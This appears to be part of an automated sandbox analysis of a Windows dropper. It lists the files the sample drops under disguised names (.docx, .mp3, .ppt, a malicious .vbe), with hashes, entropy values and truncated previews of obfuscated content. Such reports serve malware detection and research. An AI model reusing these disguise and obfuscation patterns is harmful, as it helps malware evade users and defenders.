                                                                                                                                                      Preview:0x4D5*4552E8]]]]5883E8098_C883C03C8_]03C/83C0280308FFE/9]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]0C]]]]E/F_*0E]_409CD2/_80/4CCD2/546869732070726F67726/6D20636/6E6E6F742062652072756E20696E20444F53206D6F64652E0D0D0*24]]]]]]]*_FC08E*EF9D66_9EF9D66_9EF9D66_9F4]CD_9*99D66_9F4]F8_9EC9D66_9F4]F__9EE9D66_952696368EF9D66_9]]]]]]]]]]]]]]]]5045]]4C0/0/]/E6*6752]]]]]]]]E]]20/0_0/0*]]D202]]]]]]]]]D0F]/]]/]]]0F]2]]]4]]0/]]]]2]]05]0/]]]]]05]0/]]]]]]F]2]]02]]]]]]02]408/]]/]]0/]]]]0/]]0/]]]]]]0/]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]02E74657874]]]34D/02]]/]]]0D202]]/]]]]]]]]]]]]]]02]]06]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]

                                                                                                                                                      C:\Users\user\AppData\Local\Temp\RarSFX0\jqgrvgmurv.docx

                                                                                                                                                      Download File
                                                                                                                                                      Process:C:\Users\user\Desktop\mJIvCBk5vF.exe
                                                                                                                                                      File Type:ASCII text, with CRLF line terminators
                                                                                                                                                      Category:dropped
                                                                                                                                                      Size (bytes):581
                                                                                                                                                      Entropy (8bit):5.611163251694453
                                                                                                                                                      Encrypted:false
                                                                                                                                                      SSDEEP:12:ZnkJUqR751oLr8dhSPRTztB1/F3TkahUHQUexTPuRKNbwG4ykY:ZuUsYL4WRvP1/hkfQUP+EG4+
                                                                                                                                                      MD5:16FA357E6E8840D33742A7717112ABD8
                                                                                                                                                      SHA1:866906CE593FBC4B7A27F7C4D6ED172A225B0D50
                                                                                                                                                      SHA-256:6B5EA4F4F6718FF1F3EC6B8C7F6518F447DE4CEA2AB2DAC8A5371202487B7939
                                                                                                                                                      SHA-512:A4D39E318AABEE034E1225ED91C7EA06F1CD93B013CDE0EF34BD6E3B2CE4719615EFE7F9DA98611D872D6FDF7062C4D13079776B27C75BB407332BC0CF443C5D
                                                                                                                                                      Malicious:false
                                                                                                                                                      Preview:3A2hXF4AjuCl332y6G7w075sid3w4U20KK5wNRrc9RQ8H5l4867fV1L9x8683g44VPr2i8951714oi..FileConstants StructureConstants..it2oqL28D5i9qOI7h5J5eR9a36lEhDq6QjFcoZh4460312r2hl107bcpG4MOX608Y9v1LMQ7a27o51989F827dM1f2138hc23Ra81na3iF82FwAF4uw624Y..BorderConstants ToolbarConstants..w1228mh051d1279N9L188dw3xr46628H72F13d09O5JxrO9bj87k39TD402567145c3FB02a1375S52T95874Pb82zYj666WbSUHb3tpmyFwG9Jp1MSj87W70F6T4mt6b896YFI4z86c..TreeViewConstants ButtonConstants..uZ2qxU13i121Aja35u9rwn190IVHsV42b438038ZuxqqZ0595LEkIWg7y20fE4G37t0iN8y351c4sT58s48Bx900136AoQyfA64..GuiDateTimePicker ComboConstants..

                                                                                                                                                      C:\Users\user\AppData\Local\Temp\RarSFX0\ojmspoptet.mp3

                                                                                                                                                      Download File
                                                                                                                                                      Process:C:\Users\user\Desktop\mJIvCBk5vF.exe
                                                                                                                                                      File Type:ASCII text, with CRLF line terminators
                                                                                                                                                      Category:dropped
                                                                                                                                                      Size (bytes):512
                                                                                                                                                      Entropy (8bit):5.6597214338096595
                                                                                                                                                      Encrypted:false
                                                                                                                                                      SSDEEP:12:TyTlwdr1XQ9OPHPkuRQdCm/DeTcTRBOy44WN7ps:WZcr1HHPhQdt/D/a9N7ps
                                                                                                                                                      MD5:470EDBBDA73DEF0F717D602DD7F78C56
                                                                                                                                                      SHA1:7AAA4969C33A33A770534CBABBEB8BB100106A7F
                                                                                                                                                      SHA-256:BDB2567DB5E89EEB431C2C4DFAC73673E50B512258684CC67D9CCEA0B2665B64
                                                                                                                                                      SHA-512:47A1C4A233D6F52A7F756D17861552FDA764B8D20CDBF61155F9445905AE7885050E39788B991692452AD71A76ABB3765A7D20E5EDD9838C6F77478C60550CE9
                                                                                                                                                      Malicious:false
                                                                                                                                                      Preview:0Z70ZZ7er68hS36l155LBI09020gMFWd3wzG403Hk67L5Z5E6f8f25kUI1Icxl6B622u858oj577I27CtD562S4BoMs3N3A0UAYa3RUx91HSfn7C28833111M66vL..GuiDateTimePicker ColorConstants..I89NH4756rUuD6W4Xm06aP8td4uzCxq8nXqa7iSSrY72u6M03l7vfAv2RKzD69w6350oy8PV0St10Q4815N3TE8yXc1vljx9FQ8NJ3X..ColorConstants StructureConstants..CKk7m6o62Q966UDcmg768787Qj7P10..ColorConstants GuiDateTimePicker..g876Chy8Mke1Ad6x0500bSV612p993n9If89bK7904nS12w3ooanJ1L4Aes09f66xep7HODrC5B22pb0X6KBnI4G57nGB7VR28Z8I4C1gWrxt..BorderConstants ToolTipConstants..

                                                                                                                                                      C:\Users\user\AppData\Local\Temp\RarSFX0\qwmk.xls

                                                                                                                                                      Download File
                                                                                                                                                      Process:C:\Users\user\Desktop\mJIvCBk5vF.exe
                                                                                                                                                      File Type:ASCII text, with CRLF line terminators
                                                                                                                                                      Category:dropped
                                                                                                                                                      Size (bytes):637
                                                                                                                                                      Entropy (8bit):5.488066423127828
                                                                                                                                                      Encrypted:false
                                                                                                                                                      SSDEEP:12:h7kr1ztTbt1oPCsb5MmoZkcTPhhlJQ5ojnjyPRiIBklUfKtWb:h7krzc+ZFvQ5o/kazWb
                                                                                                                                                      MD5:81FEB95C89263DC75504BFF8E06A5D90
                                                                                                                                                      SHA1:10454BC7F50A03508FA973874FBDCF433BD2D2F6
                                                                                                                                                      SHA-256:85609BB1D624BCBC6DB2A4DB193E871D08C3C22F826F214DD34CB0CB3255B479
                                                                                                                                                      SHA-512:029325EBA2DDF3FC3C263A4719DF6963433BAB9BF4E568EE007662B62289EE69CF4E28566975679230D95E67F7697A28E4A300FDB27844C22FB810506B3306CF
                                                                                                                                                      Malicious:false
                                                                                                                                                      Preview:gzy0186G3A5h9k29ZL0sF3J7SOG837413h215..ToolbarConstants ToolbarConstants..ho8w6YTVWy6nNQ6P3N94SS0q116K83t85W9g72S49OoP953EM28IcqXX7017V1p39p890ts00i7537..TreeViewConstants DateTimeConstants..X046304w86u9Ll07j6r62tenlalIM95I6o8ung880aTwB378zgoe23i8ipeEhGJU9106ECk16oFbN19t8w2166008M3wL15Y87V604YRtE91N..TreeViewConstants ButtonConstants..ebkn88g2N1BLO15W927Ot675q5oD72g2tWgmKc97gS682834d236Ip04368O62423WzS793o7rh7906I11E11g8qt1Il8YG85Xg30h82JZg5o..TreeViewConstants FileConstants..B1I65x0e18F2708v476L6N633iV586y5alxPY351dPiF9Evb47Z3So4yM3o605y158E87z858rc174x4r6EWoHw6B76sa8v3tek23d79Q098LkU7r080Y2ympN72..ColorConstants FileConstants..

                                                                                                                                                      C:\Users\user\AppData\Local\Temp\RarSFX0\rwwk.vbe

                                                                                                                                                      Download File
                                                                                                                                                      Process:C:\Users\user\Desktop\mJIvCBk5vF.exe
                                                                                                                                                      File Type:Unicode text, UTF-16, little-endian text, with very long lines (392), with CRLF line terminators
                                                                                                                                                      Category:dropped
                                                                                                                                                      Size (bytes):63850
                                                                                                                                                      Entropy (8bit):3.031301346461432
                                                                                                                                                      Encrypted:false
                                                                                                                                                      SSDEEP:24:QRAAAAAAAAAAAAAAAAAAwYNNNNNNNNNNNNNNNNNNNNNNNHY2W2W2W2W2W2W2W2Wj:1H1HWWA9WCTanohnrQ
                                                                                                                                                      MD5:465381AA4E9B430423F61894F1CA3B7A
                                                                                                                                                      SHA1:CB87F2E9902CD6FD1559AFAFFBF93D427E2DB11C
                                                                                                                                                      SHA-256:2BD6653B99FC6535C1FCAE63C1091F6BC227E20A72B0501F46EEBEE5E073677A
                                                                                                                                                      SHA-512:8F38351940DBE639C447B06CD3004D421669D3F880C2E6C0DB421A2774CC92A91D6AA66E58A27E688B49D6B6881EB4134AC20A707891630516DA5AB7406666E0
                                                                                                                                                      Malicious:true
                                                                                                                                                      Preview:..T.e.l.e.V.r.a.m.(.1.8.7.).:.T.e.l.e.V.r.a.m.(.1.8.7.).:.T.e.l.e.V.r.a.m.(.1.8.7.).:.T.e.l.e.V.r.a.m.(.1.8.7.).:.T.e.l.e.V.r.a.m.(.1.8.7.).:.T.e.l.e.V.r.a.m.(.1.8.7.).:.T.e.l.e.V.r.a.m.(.1.8.7.).:.T.e.l.e.V.r.a.m.(.1.8.7.).:.T.e.l.e.V.r.a.m.(.1.8.7.).:.T.e.l.e.V.r.a.m.(.1.8.7.).:.T.e.l.e.V.r.a.m.(.1.8.7.).:.T.e.l.e.V.r.a.m.(.1.8.7.).:.T.e.l.e.V.r.a.m.(.1.8.7.).:.T.e.l.e.V.r.a.m.(.1.8.7.).:.T.e.l.e.V.r.a.m.(.1.8.7.).:.T.e.l.e.V.r.a.m.(.1.8.7.).:.T.e.l.e.V.r.a.m.(.1.8.7.).:.T.e.l.e.V.r.a.m.(.1.8.7.).:.T.e.l.e.V.r.a.m.(.1.8.7.).:.....T.e.l.e.V.r.a.m.(.2.3.0.).:.T.e.l.e.V.r.a.m.(.2.3.0.).:.T.e.l.e.V.r.a.m.(.2.3.0.).:.T.e.l.e.V.r.a.m.(.2.3.0.).:.T.e.l.e.V.r.a.m.(.2.3.0.).:.T.e.l.e.V.r.a.m.(.2.3.0.).:.T.e.l.e.V.r.a.m.(.2.3.0.).:.T.e.l.e.V.r.a.m.(.2.3.0.).:.T.e.l.e.V.r.a.m.(.2.3.0.).:.T.e.l.e.V.r.a.m.(.2.3.0.).:.T.e.l.e.V.r.a.m.(.2.3.0.).:.T.e.l.e.V.r.a.m.(.2.3.0.).:.T.e.l.e.V.r.a.m.(.2.3.0.).:.T.e.l.e.V.r.a.m.(.2.3.0.).:.T.e.l.e.V.r.a.m.(.2.3.0.).:.T.e.l.e.V.r.a.m.(.2.3.0.).:.T.e.l.e.V.r.a.

                                                                                                                                                      C:\Users\user\AppData\Local\Temp\RarSFX0\sltfiwsc.dll

                                                                                                                                                      Download File
                                                                                                                                                      Process:C:\Users\user\Desktop\mJIvCBk5vF.exe
                                                                                                                                                      File Type:ASCII text, with CRLF line terminators
                                                                                                                                                      Category:dropped
                                                                                                                                                      Size (bytes):43661
                                                                                                                                                      Entropy (8bit):5.570631365205022
                                                                                                                                                      Encrypted:false
                                                                                                                                                      SSDEEP:768:CpW3fy/un2uFjdNWOtDsmKEhCWCtpv9eYHBEZAIvkfKXbIK/ZMkcHp5:oCfyG2updNWOimbCFtp1eYhEZHks3P+v
                                                                                                                                                      MD5:22F822322DDDDB7E3169080058B05AE6
                                                                                                                                                      SHA1:125F3AF3D92BF7852AD9936449C0F66D8DDC9B2A
                                                                                                                                                      SHA-256:B5AE6A489465EF6111A05C70E4C455825DA1AEFA4DA28672AB14708FC862C8E5
                                                                                                                                                      SHA-512:9339143CDE357A11EB17B2EA358A4F7C20D8BA1C013130CF5B135E5F31152E73216B3145A8D95BBDAB463CCDDE905B9156EDCE9F67EFDA6B0AE8161D3EA51946
                                                                                                                                                      Malicious:false
                                                                                                                                                      Preview:3CZQCac95N98252tOp591..4V210Y817751IVe1g730GX7tW2396E261cZ061VQ49WWYGsblYcrK4hf7eQ3wqq3XX9ghn3peZkn09c6G6zYh..72Ri39em211As73X977222x4C0u7ot59V7943wf85J32i771A7hN3K4p916N65Q..Tja6U8L80B6C0Fe3sz..w28AYE11dGJfqAX71R2nv9P4yb0F1f1nOSM753i0B4J4pF829kTq62jZM6cU5NIj68Y54X4Z9Z7ylQbn856ix5Vz..ka41NQ2jL2W93X3rrxf66hh2s6C0obP37x228E3Z6qF10gT45dx4d5041C3Xa43U3l..30My8FXgS7niQ59B491J9n3q9hdm65o8V43ev2p0z19kT1o3kV..5C5hg90j0TVOShO2qg0PDpg276R4j642H4HahqOx10e8S6buvfsPiLYSSD623bh4vJ1Gw7UI111..WS3Mm97KLcfl52w94p8P58p27MUL2a1PNH4S714I64N135oi..4571Ew7OK4yttU1049hcv..44620485Y950i5Z2592wRcu6xn3u250w055..mW108Sl667X39rOj3915ghgA02si2v23nw539p624JU45H3..Yy80u4W0P79epWHyZ0Q0tk9vJ53572xPloc7N9N53c402Cszk9..g58A2aZx0321e5Y331HV6g654WC8Tw1o97I5..3a94779UY12LI58w1690pNcX7i16DHji71x3l6Yt0..3w4D7qbFRQof8314cFh9Aw7Nb21NE6HrR446k70D55G2h7Z1pa928..X86I06038E0jH7A22PxLT5fhf86L235O2pjk249sz2bL83w7sE26D3s52t1c81Kg683Vf9uhrpoDYB7j455a23d7x6Q4908MuS..d13ENa70NlDr4vV91r9770AK1W57BE4k066sDJK1O35Vb2t3qkil113G83UAa..bdr49w4x

                                                                                                                                                      C:\Users\user\AppData\Local\Temp\RarSFX0\tjif.icm

                                                                                                                                                      Download File
                                                                                                                                                      Process:C:\Users\user\Desktop\mJIvCBk5vF.exe
                                                                                                                                                      File Type:ASCII text, with CRLF line terminators
                                                                                                                                                      Category:dropped
                                                                                                                                                      Size (bytes):528
                                                                                                                                                      Entropy (8bit):5.540567172111218
                                                                                                                                                      Encrypted:false
                                                                                                                                                      SSDEEP:12:BROStCl2K2OBPe0o1vqjt8bYZ90PCmuG5cW4E7MjZ2uisuQ:BROStCLg314brPmukcPE7lOuQ
                                                                                                                                                      MD5:6F6DF56C43CC6F1C193AAD1C7AB82D06
                                                                                                                                                      SHA1:854F0199C9223417A3B6F82ADA40AFAE98D144B6
                                                                                                                                                      SHA-256:1AC36434BCAF1B5092E4C4AD1038CCA646817FE26C12D9EFEA0D1EE708F5E7B6
                                                                                                                                                      SHA-512:0ED1A079782D22BD1F4F5EF8C990CB1CDFB35042ACB3E636E539468EA81D9C76CE9D8FBD9250E490B80808A19CFFC151832279D630529A370AEB97452BE9CF23
                                                                                                                                                      Malicious:false
                                                                                                                                                      Preview:1Y5087n124L9r86Tt6DQ29o2w991BU0N0hKTy981..ToolTipConstants FileConstants..a7QG8w596e6K04PN4H0qF3Zk98DE66t5X..DateTimeConstants TreeViewConstants..F84SR87NT7J3D3Jx5318s3dViSVSq0J458521LU3jED569ow1E829GC3dPkw0p5829w2S37K263ANaV0dw2484R46L3sZYyehL4CwOEWuvE7j2i47Q378n8WsecP88xJ44nW7q7H7xh4o8a2072X2..TreeViewConstants ComboConstants..5V6znjAuQ66920Ih2XV2W26chJhaniJY32KA558csu5W9Ogf99QxE51030Ep3i69sRJ031l06o2q3yUp3t9c95fS4On94ZI..ToolbarConstants ToolbarConstants..3299p7523LI07Xs26179J27lzJGQm6..ToolbarConstants ComboConstants..

                                                                                                                                                      C:\Users\user\AppData\Local\Temp\RarSFX0\xuncqfg.bin

                                                                                                                                                      Download File
                                                                                                                                                      Process:C:\Users\user\Desktop\mJIvCBk5vF.exe
                                                                                                                                                      File Type:ASCII text, with CRLF line terminators
                                                                                                                                                      Category:dropped
                                                                                                                                                      Size (bytes):543
                                                                                                                                                      Entropy (8bit):5.576262840414489
                                                                                                                                                      Encrypted:false
                                                                                                                                                      SSDEEP:12:rS5ytkHp2QPIU8ciBCcj0APD8XHW9W4S71K3:r8yt42QGtBT0QKHW9W4S7u
                                                                                                                                                      MD5:F0E4EDF30F267FBC4C721E275845377A
                                                                                                                                                      SHA1:04ECFFCBFBAEA9C4E75F005E19CFEE8146C6BB34
                                                                                                                                                      SHA-256:7D06A00C8471F7E712C435EF1CCBE2E9D84550DB3CDC9849D33FD8FB9E49985B
                                                                                                                                                      SHA-512:D90197C3F3A5FD8237CC5DB49106763AF311F4084B71A12E4755152E2FC740CFB1C1B9F3AE468BEF489C3C1CDC776F576F98CBE82E740040FE09262AA9BDE253
                                                                                                                                                      Malicious:false
                                                                                                                                                      Preview:57f2a1n8E48KdIiUn2ZG1U3DE4009Dvbg6gA4554IKTp1C95nJ99yV78oy323VH0i7W29Ta..GuiDateTimePicker StructureConstants..D367519UZ21kw3q7VO6p1W5d2y53mnYDE0JAG05Dyd19RK881h0rCiR93yPn90u00Iy99Y7KVaBM2I64Ssknx7uv7J8m7n4506qf168yFq3D86..FontConstants ButtonConstants..fM4BEXy2D4T7eJ44J7r6iSS355iviVfF19PaK6NdjQ1J7h7S7I7Q7lJ588AN944Q2..FileConstants ToolbarConstants..6s72tFC2..BorderConstants UpDownConstants..62Ab0641B31E854tDc3H4i8324upI4J18L318Fc37n6436vmq38U5063Vojpk5YuA4r8179LTb47e51e2K03uYp5102F4xq4B64IaEYV75kU5tFai..ToolTipConstants FileConstants..

                                                                                                                                                      C:\Users\user\AppData\Local\Temp\RarSFX0\xxmcsujdoo.das

                                                                                                                                                      Download File
                                                                                                                                                      Process:C:\Users\user\Desktop\mJIvCBk5vF.exe
                                                                                                                                                      File Type:ASCII text, with CRLF line terminators
                                                                                                                                                      Category:dropped
                                                                                                                                                      Size (bytes):509
                                                                                                                                                      Entropy (8bit):5.462657048461888
                                                                                                                                                      Encrypted:false
                                                                                                                                                      SSDEEP:12:wzNZ/L/nOauPovTAZ2m3VP2g4ISHml12fgUUW/:iZTPBZAZGsl1g/
                                                                                                                                                      MD5:1F26C199CC3920E832244B417095E92D
                                                                                                                                                      SHA1:0377748FA2DA7C3D521B800F6F84B76F8F975418
                                                                                                                                                      SHA-256:80489B9CAF4A3E00356AE69A3D94CA7B5AFB54E162E4CD2B2AB5F57DD91EA1ED
                                                                                                                                                      SHA-512:DDDD31C3D68CDAFEB3FC5EEB54FCB8D5221DB34C7AFEC1374C727F900971807A2E064828611F75AC58A66CBCE3BDA67A0B7DB3B7E63EF97A2CF61F231A5BEEA7
                                                                                                                                                      Malicious:false
                                                                                                                                                      Preview:01361sji325j0Xf59642xGFn12hXh4y80VQG..StructureConstants ColorConstants..3o269S7723Ft2N0291Au6831973586pi6n9Z76J4n7npg6HfPKNV04OJb4PBOf2MU579K6Z..TreeViewConstants DateTimeConstants..26alyo0rqj1Mf61A6s1TuU15ZOJ6965ryK2K356VOWMj9VU872C3..TreeViewConstants ToolbarConstants..78K91h83g17320n3V7UPga7vomXy0qR34105Kb7m229D9G811Y6n2KsM..DateTimeConstants ComboConstants..9mOJSC6x071x4Me30xU2V81rAHEG956X2Iy..ButtonConstants DateTimeConstants..4AWIh93V7G713F90Zc9DA79jHn22308fA4DJ..GuiDateTimePicker ComboConstants..

                                                                                                                                                      C:\Users\user\AppData\Local\Temp\RarSFX0\xxqgue.bin

                                                                                                                                                      Download File
                                                                                                                                                      Process:C:\Users\user\Desktop\mJIvCBk5vF.exe
                                                                                                                                                      File Type:ASCII text, with CRLF line terminators
                                                                                                                                                      Category:dropped
                                                                                                                                                      Size (bytes):527
                                                                                                                                                      Entropy (8bit):5.52422466865486
                                                                                                                                                      Encrypted:false
                                                                                                                                                      SSDEEP:6:J43nytXKOlItNoIQcW2NXLEMQGmrvI/ZO9nVQIYQlqRYPW6WkDW5yyze4cccFDUc:NX+4tR2NushOvQxaW6cabrDUaFmO8CcS
                                                                                                                                                      MD5:49B1D10A8BEE0B150F2662B0B0FD9DE3
                                                                                                                                                      SHA1:E276A3601859997B41081F368C8AAC69E7EE97B2
                                                                                                                                                      SHA-256:ED87E32FB424996B03E4CA15B2EA08804E2098D2B8C534B1FF2B932BBE7184EE
                                                                                                                                                      SHA-512:1AD7647287A8CDB62F760F7F154808966A7DF689C98919CAEF1F5C6D03C0059CF50503D72987EE7ACEA3AEA06C886AD2DA133EBA31E39048B882C98045A056A7
                                                                                                                                                      Malicious:false
                                                                                                                                                      Preview:3q9j15G40wAL1D28u19Y7257lvj2y88bf8HM1o1zC1o6hb7W3tT471n38FxI..StructureConstants ToolbarConstants..248a9952dC1q1xn5qai53d0aYoqBX83l40SI32dp5f9XE536N1486Am786F9Z51lB8187t49k39P1Bp55tR22Sri3W1USb5I369e5507K7Tlr6H9b6GR88Z0M9U8Ht59G335JIR7OW3477q75GMVs3dBS665GW5A3c0w..UpDownConstants BorderConstants..27FG4Kx73q7tsA0V1b4vl24a08p7OoRh99qy1KV11zqbK88Is09oX88F4dWL2eTD96974F94tcA4i2g394N1o2lef226yj..DateTimeConstants ToolTipConstants..B95wirj7g85s4s443U2s244g7W2yAWeeQ69W3Ts26409sAiD1d1jM5X2s8189e2h..ColorConstants ComboConstants..

                                                                                                                                                      C:\Users\user\AppData\Local\Temp\RegSvcs.exe

                                                                                                                                                      Download File
                                                                                                                                                      Process:C:\Users\user\AppData\Local\Temp\RarSFX0\gbkusncub.ppt
                                                                                                                                                      File Type:PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                                                      Category:modified
                                                                                                                                                      Size (bytes):45984
                                                                                                                                                      Entropy (8bit):6.16795797263964
                                                                                                                                                      Encrypted:false
                                                                                                                                                      SSDEEP:768:4BbSoy+SdIBf0k2dsjYg6Iq8S1GYqWH8BR:noOIBf0ddsjY/ZGyc7
                                                                                                                                                      MD5:9D352BC46709F0CB5EC974633A0C3C94
                                                                                                                                                      SHA1:1969771B2F022F9A86D77AC4D4D239BECDF08D07
                                                                                                                                                      SHA-256:2C1EEB7097023C784C2BD040A2005A5070ED6F3A4ABF13929377A9E39FAB1390
                                                                                                                                                      SHA-512:13C714244EC56BEEB202279E4109D59C2A43C3CF29F90A374A751C04FD472B45228CA5A0178F41109ED863DBD34E0879E4A21F5E38AE3D89559C57E6BE990A9B
                                                                                                                                                      Malicious:false
                                                                                                                                                      Antivirus:
                                                                                                                                                      • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                      Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....<.]..............0..d..........V.... ........@.. ..............................s.....`.....................................O.......8............r...A.......................................................... ............... ..H............text...\c... ...d.................. ..`.rsrc...8............f..............@..@.reloc...............p..............@..B................8.......H........+...S..........|...P...........................................r...p(....*2.(....(....*z..r...p(....(....(......}....*..{....*.s.........*.0..{...........Q.-.s.....+i~....o....(.....s.......o.....r!..p..(....Q.P,:.P.....(....o....o ........(....o!...o".....,..o#...t......*..0..(....... ....s$........o%....X..(....-..*.o&...*.0...........('......&.....*.*...................0...........(.......&.....*.................0............(.....(....~....,.(....~....o....9]...

                                                                                                                                                      C:\Users\user\llkd\chkblaxft.docx

                                                                                                                                                      Download File
                                                                                                                                                      Process:C:\Users\user\AppData\Local\Temp\RarSFX0\gbkusncub.ppt
                                                                                                                                                      File Type:ASCII text, with CRLF line terminators
                                                                                                                                                      Category:dropped
                                                                                                                                                      Size (bytes):522
                                                                                                                                                      Entropy (8bit):5.671650593288021
                                                                                                                                                      Encrypted:false
                                                                                                                                                      SSDEEP:12:qqDY0/6pPBPtkxub/dBjrN7VPU3wh7pbUmv:qqDY0iBjZVdLUgh7pJv
                                                                                                                                                      MD5:E51EF2D4160C0F41B42EA8F38DEDAA45
                                                                                                                                                      SHA1:ACA488C15E88AD25E089EB374B6C1EAD4C800E68
                                                                                                                                                      SHA-256:4B7EABB2302FEC9292A5AEB5949D54C0744C57DE6CC527FB285441D29FAE3C24
                                                                                                                                                      SHA-512:4BF85824B9F0447E175FEF3A731A514DF19470B45611DF683D6AAFB5844D1DD23512EF092480FF715978C4E27DF129CEA355493FA56D2407A24DC3B993B403E0
                                                                                                                                                      Malicious:false
                                                                                                                                                      Preview:f2JTBjhw4uS76624x89F80qqQD4Iu2d1vc6OL22AMVQCB3719D3Q2hZ0j046ejDbV607R63xP3Q6o..ComboConstants TreeViewConstants..5qHjYp..FontConstants FontConstants..221n22MX26Wv5EDL3QsL0l0PwoSKK4t8YP6q128n16yZ3A5NP8xuNO037S8y5Df3g70v108u1x00i1EG0b422pH26Q75c07sFO14z3bNc9X30oYl6J39Y21Fl0gsZ24Cof65E59run230RJB948f9j9s9fu13..UpDownConstants DateTimeConstants..5K82aoSzbIcNiLbuVp4DE3i8TlMKJcDW66oj..DateTimeConstants ToolTipConstants..6N1S2Uw1pkO7511j0Vk8l70eDFr0iWA7sDdL503r64cAn74h03098R1cdH1jQllW8..GuiDateTimePicker GuiDateTimePicker..

                                                                                                                                                      C:\Users\user\llkd\cucii.ppt

                                                                                                                                                      Download File
                                                                                                                                                      Process:C:\Users\user\AppData\Local\Temp\RarSFX0\gbkusncub.ppt
                                                                                                                                                      File Type:ASCII text, with CRLF line terminators
                                                                                                                                                      Category:dropped
                                                                                                                                                      Size (bytes):562
                                                                                                                                                      Entropy (8bit):5.572614881484328
                                                                                                                                                      Encrypted:false
                                                                                                                                                      SSDEEP:12:mt2kCjbjPTYFzjJ7OpQevS9gmTk+coE/Igtw9:VkSji/J7OVSaKkfoEAgA
                                                                                                                                                      MD5:0A597ABAA9895B8A6E2A1E01C1D2E207
                                                                                                                                                      SHA1:F37D888D098BE4D11E5C170FB8E1E7470D91290C
                                                                                                                                                      SHA-256:9D7B071AF5A275C98A994D56EE211E646C8AA2CBA39FB37FA20D78F73179552F
                                                                                                                                                      SHA-512:9686F6182A3946C9013EA0B0147CC0EAD5ECBE529645E6E70FAF5779ACB72F48849E9CAE7C2519FD497A169D9B7A7F2ACEF990A85401727C42CE4A6994703B2B
                                                                                                                                                      Malicious:false
                                                                                                                                                      Preview:3l26ecOP7X2mT9D15YW7WxgcFmM3HL78iX8pkTJR1z791Flx127o8hl25K2e..TreeViewConstants UpDownConstants..493U1u35ozd1v783811pQ0766892D0cz613LD424n990qD008EY6P2j1DW8S7l35J031u6Isd282095UQ9D7C8sK4373GSV190r152nS2AR070hB3QTd9ym41PltY..StructureConstants ToolTipConstants..85P83170m9QM973S7S25T5RR615BV374v207i7H517617TXUUZr1SN6173EQa1T41p7be6bMR2fJS1A1I1tM60T598ac4lO1g5l105Jq575jOOc9f45L8bY2210I08721820ygvWY40Ms6fL10fH8h60tb8CdihwyAfNN94ygyV81842A..ComboConstants DateTimeConstants..FZ36j0x626LP7Z8P6O2m212X633thBcs93537zSPOq93oa0711B11..ButtonConstants ButtonConstants..

                                                                                                                                                      C:\Users\user\llkd\dddrmcvn.das

                                                                                                                                                      Download File
                                                                                                                                                      Process:C:\Users\user\AppData\Local\Temp\RarSFX0\gbkusncub.ppt
                                                                                                                                                      File Type:ASCII text, with CRLF line terminators
                                                                                                                                                      Category:dropped
                                                                                                                                                      Size (bytes):511
                                                                                                                                                      Entropy (8bit):5.650184738269891
                                                                                                                                                      Encrypted:false
                                                                                                                                                      SSDEEP:12:/KV1akxmZ/Pkyc4oEWKA/qLJavL87l/NLIyPqv:/KPakxmB8ShAwAT8x/NLI1v
                                                                                                                                                      MD5:685B8082E059988E8F569A7C957D67CC
                                                                                                                                                      SHA1:6402355C5A4A7514A39FEE6EE37C46902A4EFC24
                                                                                                                                                      SHA-256:2B14A53107FEC583B8ECB5055D194A2C5997491CB91A7CDDF989DFD787FD577D
                                                                                                                                                      SHA-512:5692AC0F30DAC8F18C0C0D52578CDA99CE2F3C9656B5B2C6437DDA4E5C6C014E8F94F5584785C50847346BE963B737E3FCE0C727884955C01C9129EFF2154A44
                                                                                                                                                      Malicious:false
                                                                                                                                                      Preview:5P7Fb3x2f0l2392Xp7f4mGu3eM7K9Lf892F3w43SD2614qBRt34677W628l7p86764B6ZS841e7F6j1LaQ8P96ts9g394I4ep4fe37yc4ps2zi5n35v0y8U71KD2z5291my5483YkfscIjwrxgzB99sW77RtY8bD5CYHS144TD7e..FileConstants ToolTipConstants..O0508omF09T2vX61H2BLn88Zrrb89W1vurxgN18vA5f65A7UgOP5O8d..BorderConstants UpDownConstants..0VBYY05SOaPuuhB1C5v5Dm58n0081Ut22R519M1g38R04K2S8GL975IR3fTOvH869xa690k603..UpDownConstants GuiDateTimePicker..R4L07P300OJ6GtESu59439nB6L0bR75Jv3995I4goPUQE35nu4F2G8trmpH88e1og..TreeViewConstants GuiDateTimePicker..

                                                                                                                                                      C:\Users\user\llkd\ebxc.exe

                                                                                                                                                      Download File
                                                                                                                                                      Process:C:\Users\user\AppData\Local\Temp\RarSFX0\gbkusncub.ppt
                                                                                                                                                      File Type:ASCII text, with CRLF line terminators
                                                                                                                                                      Category:dropped
                                                                                                                                                      Size (bytes):570
                                                                                                                                                      Entropy (8bit):5.527376881166851
                                                                                                                                                      Encrypted:false
                                                                                                                                                      SSDEEP:12:ciWgr0N56HY9chv/u9E4IIIP2IGkadTIqPUD0:ohbaY9CvaEAs4XsD0
                                                                                                                                                      MD5:BB96FA2EB279E1FA70EE33B80DDF5486
                                                                                                                                                      SHA1:D4ECA17FD2B78BFB8264295E6F254255649CA3AF
                                                                                                                                                      SHA-256:BB828B95AA2BEF4D424AE1ECC976435AD053B06EC5E89AF75DE2763B0CCE523C
                                                                                                                                                      SHA-512:BD81985876A5CF9D4C579A2F0EA7738B28DF12C1F2A9C4C1A8C12ACE89B1A32BDF098987B807435F2CC950695015B7069B61360F55D9E3BA711359609A7E7B04
                                                                                                                                                      Malicious:false
